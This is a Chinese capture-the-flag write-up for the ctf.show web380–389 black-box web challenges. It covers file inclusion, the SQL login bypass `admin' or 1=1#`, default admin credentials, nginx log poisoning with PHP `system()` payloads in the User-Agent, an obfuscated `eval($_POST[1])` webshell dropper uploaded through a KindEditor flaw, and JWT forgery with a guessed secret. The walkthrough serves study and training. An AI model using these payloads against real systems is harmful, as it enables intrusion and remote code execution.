什么是黑盒测试

这个黑盒测试就是我们不知道是啥考点,得自己去挖掘,然后找到这个是考哪个知识点的

web380(目录扫描)

题目

image-20230202223826824

就是这里的话会出现page_1.php page_2.php page_3.php

然后我们就得尝试去发现page.php 这就是一种思维发散,毕竟在网站上没看到的话,服务器上不一定没有。

难点就在这里

image-20230202224032610

出现个$id,我们可以尝试给id传个值看看

image-20230202224117796

发现是个文件包含的题目,并且限定了后缀,所以我们就得尝试去查看一下page.php源码

page.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2021-01-08 19:50:40
# @Last Modified by: h1xa
# @Last Modified time: 2021-01-08 19:59:24
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


#error_reporting(0);
$id = $_GET['id'];
if(!isset($id)){
die('打开$id.php失败');
}else{
$html = file_get_contents($id.'.php');
echo $html;
}

然后我们就去猜是否存在flag.php

image-20230202224440246

最后拿到flag.

web381(css路径)

题目

image-20230202224640173

和上一题是一样的

image-20230202225033153

打开源码发现有个不一样的地方,然后访问/alsckdfy就能拿到flag了。

这里是因为前端和后端共用一个css路径,然后前端就会泄露出来,那么别人就会尝试去登录看看,就会发现了后台地址。

web382(万能密码/爆破/sqlmap)

题目

image-20230202225519773

因为我们在web381拿到了后台管理员登录地址,所以我们直接访问

image-20230202225902255

那么我们就可以尝试一下默认密码登录试试

admin/admin admin/123 admin/admin888

那么经过尝试的话,发现是admin/admin888是后台管理员密码

这里给一个弱口令密码 nE7jA%5m

image-20230202230438228

解法二

后台万能密码登录

admin

admin' or 1=1#

web383(爆破/万能密码)

image-20230202230734384

payload

1
admin/admin' or 1=1#    --->写在username或者password都行

web384(爆破)

题目

image-20230202231129790

image-20230202231241003

题目还给了提示,那么我们就直接爆破就行了

可以先自己写一个密码的生成字典,然后在拿去bp爆破

密码是 xy123

得爆破 —->635000次,还是给提示的情况下,一般情况下,爆破一般是不用的,不到万不得已时最好不用,因为时间太久了

web385(配置文件利用)

题目

image-20230202231836152

扫描后台扫出一个/install后台安装目录

然后访问,通过提示重置后台管理员密码,那么我们就可以登录后台了

admin/admin888 (上面的题得出的结论)

web386(配置文件利用)

题目

image-20230202235025560

通过扫描后台发现install

clear.php时看源码时发现的

image-20230205192730195

由于这里和上面的不一样,所以就考虑一下去访问这个低质,并把alsckdfy给去掉,访问后面的

image-20230205192901028

出现一个压缩过的文件内容,那么我们就把这个给解压缩下来查看

压缩脚本

1
2
3
4
5
import requests

url = 'http://f50cd95d-d7d9-4454-802e-3cd1b681e803.challenge.ctf.show/layui/css/tree.css'
html = requests.get(url)
print(html.cont

image-20230205193156553

进行解码后发现存在clear.php文件,这就是发现clear.php的过程

然后就去访问install

image-20230203002152913

存在lock锁定程序,不能进行密码重置了,那么我们就得想办法去删除这个程序,然后这里就有一个clear.php没用到,那么我们就可以尝试去用他。

image-20230203002311775

就说清理完成,但不知清理了啥,那我们就得考虑一下清理的参数是啥,盲猜一波file,尝试清理index.php看看。

image-20230203002537481

被清理掉了,那么我们就尝试把lock.bat也给清理掉

image-20230203002721549

成功清理掉了,那么我们就可以重置密码,然后登录后台了

默认密码 admin/admin888

web387(日志文件包含 编辑器)

题目

这里的话时不给删除锁定文件了,那么我们就可以换个思路,查看源码,看有没有啥新的东西进行泄露。

image-20230205193922017

发现一个路径很想编辑器的路径,那么我们就进行访问编辑器路径看看。

image-20230205194048868

发现确实存在这个编辑器

image-20230205194132606

然后发现是个4.1.11版本的,这个版本存在一个上传html的漏洞,但是这里不能上传php代码,因为源码里默认时阻止的,所以我们就得去看一下别的思路

但是这里是可以直接上传图片和压缩包的,那么我们可以直接在压缩包里写入php代码然后进行上传,效果是一样的。

然后 扫目录扫扫到一个robots.txt

image-20230205194644640

发现一个/debug路径

image-20230205194935811

image-20230205195546158

成功执行,那么我们就尝试一下日志文件包含试一试

这里尝试过写入一句话木马,发现执行不了,所以这里可能是不可以传参数,只能在UA处进行代码执行

第一步

在ua处写入 <?php system('ls / >/var/www/html/1.txt');?>

image-20230205200136409

然后在/debug后面加上?file=/var/log/nginx/access.log然后访问,最后在访问1.txt就可以了

image-20230205200242374

发现可以成功写入,那么我们就直接查看后台登录源码就行。

那么在ua处就得重新写入,其他和上面一样

<?php system(‘ls /var/www/html/alsckdfy/check.php >/var/www/html/2.txt’);?>

image-20230205200708305

然后就可以拿到flag了。

解法二

因为在ua处可以执行php代码,那么我们就可以删除掉lock.dat文件,然后重新安装,使用默认密码登录

1
user-agent:<?php unlink('/var/www/html/install/lock.dat')?>

web388(CVE-2017-1002024/免杀马)

题目

image-20230205201200594

这里是发现web377的方法用不了了,还有这个自带的杀毒软件会把php一句话木马给过滤掉了,那么我们就得想想别的方法了,然后上面题提到的editor还没用到,那么这题我们就可以来尝试一下

这个editor版本的漏洞是 CVE-2017-1002024

这里怎么发现的editor上面的wp有讲

写入一个免杀码

1
2
3
4
<?php
$a = '<?ph'.'p ev'.'al($_PO'.'ST[1]);?>';
file_put_contents('/var/www/html/1.php',$a);
?>

写入到txt文件中,然后进行上传

image-20230205205012187

然后通过/debug?file=参数传给日志文件

1
/debug/?file=/var/www/html/alsckdfy/attached/file/20230205/20230205124929_21190.txt

访问日志文件,执行一句话

1
/debug/?file=/var/log/nginx/access.log

然后访问1.php进行rce

成功写入

image-20230205205243943

image-20230205205422574

web389(session伪造/jwt/日志文件包含)

题目

image-20230205210521806

image-20230205210544839

访问/debug,然后提示权限不足,那么就暗示我们不是管理员,这时候查看下cookie,

image-20230205210647871

发现是eyjh开头的,那么就会条件反射到jwt

image-20230205213300447

这里的密钥是猜的,然后修改user为admin就好了,这里的密钥是123456,是猜出来的。

image-20230221214351604

这个输出就是代表着写入成功。

那么我们会选择上传一个压缩文件,里面带着一个木马(免杀码)

1
2
3
4
<?php
$a = '<?ph'.'p ev'.'al($_PO'.'ST[1]);?>';
file_put_contents('/var/www/html/1.php',$a);
?>

然后去访问/debug/?file=/var/www/html/alsckdfy/attached/file/20230221/20230221134621_53294.zip

然后访问1.php就可以进行rce了

这个这专题剩下的内容就不想写了,写java题去了